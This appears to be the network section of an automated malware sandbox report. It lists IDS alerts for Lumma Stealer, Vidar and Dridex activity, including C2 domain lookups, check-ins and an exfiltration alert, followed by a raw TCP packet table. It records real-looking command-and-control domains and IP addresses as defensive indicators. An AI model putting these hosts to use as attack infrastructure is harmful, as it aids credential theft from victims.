2024-09-25T18:00:53.193246+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49731	5.75.211.162	443	TCP
2024-09-25T18:00:54.594741+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49732	5.75.211.162	443	TCP
2024-09-25T18:00:57.096377+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49734	5.75.211.162	443	TCP
2024-09-25T18:00:59.078898+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49735	5.75.211.162	443	TCP
2024-09-25T18:01:00.632887+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T18:01:01.666832+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49737	5.75.211.162	443	TCP
2024-09-25T18:01:03.258036+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T18:01:05.149117+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49739	5.75.211.162	443	TCP
2024-09-25T18:01:07.247467+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.5	49742	5.75.211.162	443	TCP
2024-09-25T18:01:09.925951+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.5	60755	1.1.1.1	53	UDP
2024-09-25T18:01:10.435607+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:11.349452+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:11.349452+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49746	172.67.162.108	443	TCP
2024-09-25T18:01:11.566576+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.5	63091	1.1.1.1	53	UDP
2024-09-25T18:01:12.124903+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T18:01:12.639302+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T18:01:12.639302+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T18:01:12.729635+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.5	64788	1.1.1.1	53	UDP
2024-09-25T18:01:14.046537+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.5	49748	188.114.96.3	443	TCP
2024-09-25T18:01:14.712857+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49748	188.114.96.3	443	TCP
2024-09-25T18:01:14.712857+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49748	188.114.96.3	443	TCP
2024-09-25T18:01:14.967287+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.5	64089	1.1.1.1	53	UDP
2024-09-25T18:01:15.526500+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.5	49749	188.114.96.3	443	TCP
2024-09-25T18:01:16.207817+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49749	188.114.96.3	443	TCP
2024-09-25T18:01:16.207817+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49749	188.114.96.3	443	TCP
2024-09-25T18:01:16.402774+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.5	56030	1.1.1.1	53	UDP
2024-09-25T18:01:16.985317+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.5	49750	188.114.97.3	443	TCP
2024-09-25T18:01:17.464083+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49750	188.114.97.3	443	TCP
2024-09-25T18:01:17.464083+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49750	188.114.97.3	443	TCP
2024-09-25T18:01:18.128857+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.5	49751	172.67.162.108	443	TCP
2024-09-25T18:01:18.815663+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49751	172.67.162.108	443	TCP
2024-09-25T18:01:18.815663+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49751	172.67.162.108	443	TCP
2024-09-25T18:01:18.952138+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.5	61898	1.1.1.1	53	UDP
2024-09-25T18:01:19.465750+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T18:01:19.902878+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T18:01:19.902878+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T18:01:20.016246+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.5	64263	1.1.1.1	53	UDP
2024-09-25T18:01:20.726054+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.5	49753	188.114.96.3	443	TCP
2024-09-25T18:01:21.317779+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49753	188.114.96.3	443	TCP
2024-09-25T18:01:21.317779+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49753	188.114.96.3	443	TCP
2024-09-25T18:01:21.617467+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.5	61600	1.1.1.1	53	UDP
2024-09-25T18:01:22.131638+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.5	49754	172.67.208.139	443	TCP
2024-09-25T18:01:22.631188+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49754	172.67.208.139	443	TCP
2024-09-25T18:01:22.631188+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49754	172.67.208.139	443	TCP
2024-09-25T18:01:25.975205+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49757	172.67.189.2	443	TCP
2024-09-25T18:01:25.975205+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49757	172.67.189.2	443	TCP
2024-09-25T18:01:30.557238+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.5	49745	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 18:00:19.504200935 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:19.504237890 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:19.504307032 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:19.510886908 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:19.510915041 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.173814058 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.173877954 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.238285065 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.238312006 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.239343882 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.239408016 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.241842031 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.287401915 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.675142050 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.675203085 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.675261974 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.675302982 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.675415039 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.675462008 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.675494909 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.988894939 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.988928080 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.988977909 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989022970 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989075899 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989106894 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989109039 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989136934 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989180088 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989211082 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989238024 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989252090 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989315033 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.989346027 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:20.989414930 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.990123987 CEST	49712	443	192.168.2.5	104.102.49.254
Sep 25, 2024 18:00:20.990142107 CEST	443	49712	104.102.49.254	192.168.2.5
Sep 25, 2024 18:00:21.000705004 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.000737906 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:21.000818968 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.001076937 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.001090050 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:21.942682028 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:21.942764044 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.946717978 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.946728945 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:21.947138071 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:21.947195053 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.947559118 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:21.995445967 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.384416103 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.384505033 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.384529114 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.384579897 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.384624004 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.384679079 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.387870073 CEST	49713	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.387885094 CEST	443	49713	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.390165091 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.390192032 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:23.390355110 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.390608072 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:23.390620947 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.052081108 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.052179098 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.052936077 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.052943945 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.055046082 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.055052996 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.760281086 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.760458946 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.760467052 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.760519981 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.760867119 CEST	49714	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.760879040 CEST	443	49714	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.762520075 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.762630939 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:24.762727976 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.762948990 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:24.762984037 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:25.433620930 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:25.433825970 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:25.434413910 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:25.434442043 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:25.436485052 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:25.436499119 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.146461010 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.146512985 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.146547079 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.146620035 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.146656990 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.146667957 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.146681070 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.146724939 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.146995068 CEST	49715	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.147030115 CEST	443	49715	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.153580904 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.153616905 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.153707027 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.163530111 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.163549900 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.849513054 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.849605083 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.871268034 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.871277094 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:26.885056019 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:26.885062933 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.676937103 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.676975012 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.677018881 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.677018881 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.677031994 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.677057981 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.679121971 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679179907 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.679269075 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679410934 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679410934 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679410934 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679613113 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.679627895 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:27.992749929 CEST	49716	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:27.992773056 CEST	443	49716	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:28.336842060 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:28.336941004 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:28.337502956 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:28.337533951 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:28.339502096 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:28.339518070 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.036272049 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.036400080 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.036464930 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.036520004 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.036520958 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.036571980 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.036614895 CEST	49717	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.036645889 CEST	443	49717	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.104513884 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.104567051 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.104635954 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.104876995 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.104888916 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.777375937 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.777460098 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.778116941 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.778129101 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.780041933 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.780052900 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:29.780087948 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:29.780102015 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.118463993 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.118506908 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.118587971 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.118855953 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.118871927 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.784827948 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.784945965 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.784974098 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.784996986 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.785027027 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.785048962 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.786009073 CEST	49718	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.786027908 CEST	443	49718	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.813237906 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.813337088 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.813724041 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.813733101 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:30.815620899 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:30.815627098 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.260687113 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.260709047 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.260724068 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.260982990 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.261008024 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.261113882 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.292016029 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.292037010 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.292251110 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.292263031 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.292309046 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.361450911 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.361469984 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.361654997 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.361670017 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.361829042 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.392055035 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.392071962 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.392255068 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:31.392271996 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:31.392312050 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.458849907 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.458879948 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.458971024 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.459041119 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.459073067 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.459224939 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.459465981 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.459510088 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.459532976 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.459539890 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.459553003 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.459578991 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.464104891 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.464148998 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.464174032 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.464186907 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:32.464200974 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:32.464222908 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.535340071 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.535372019 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.535434961 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.535439014 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.535465002 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.535480022 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.535497904 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.535502911 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.535523891 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.535547018 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.538225889 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.538280964 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.538286924 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.538305044 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.538332939 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.538343906 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.540890932 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.540935040 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.540961981 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.540972948 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.540996075 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.541007042 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.543514967 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.543556929 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.543591022 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.543597937 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.543608904 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.543634892 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.549200058 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.549240112 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.549263000 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.549268961 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.549290895 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.549309969 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.550683022 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.550723076 CEST	443	49719	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:33.550856113 CEST	49719	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:33.550863981 CEST	443	49719	5.75.211.162	192.168.2.5
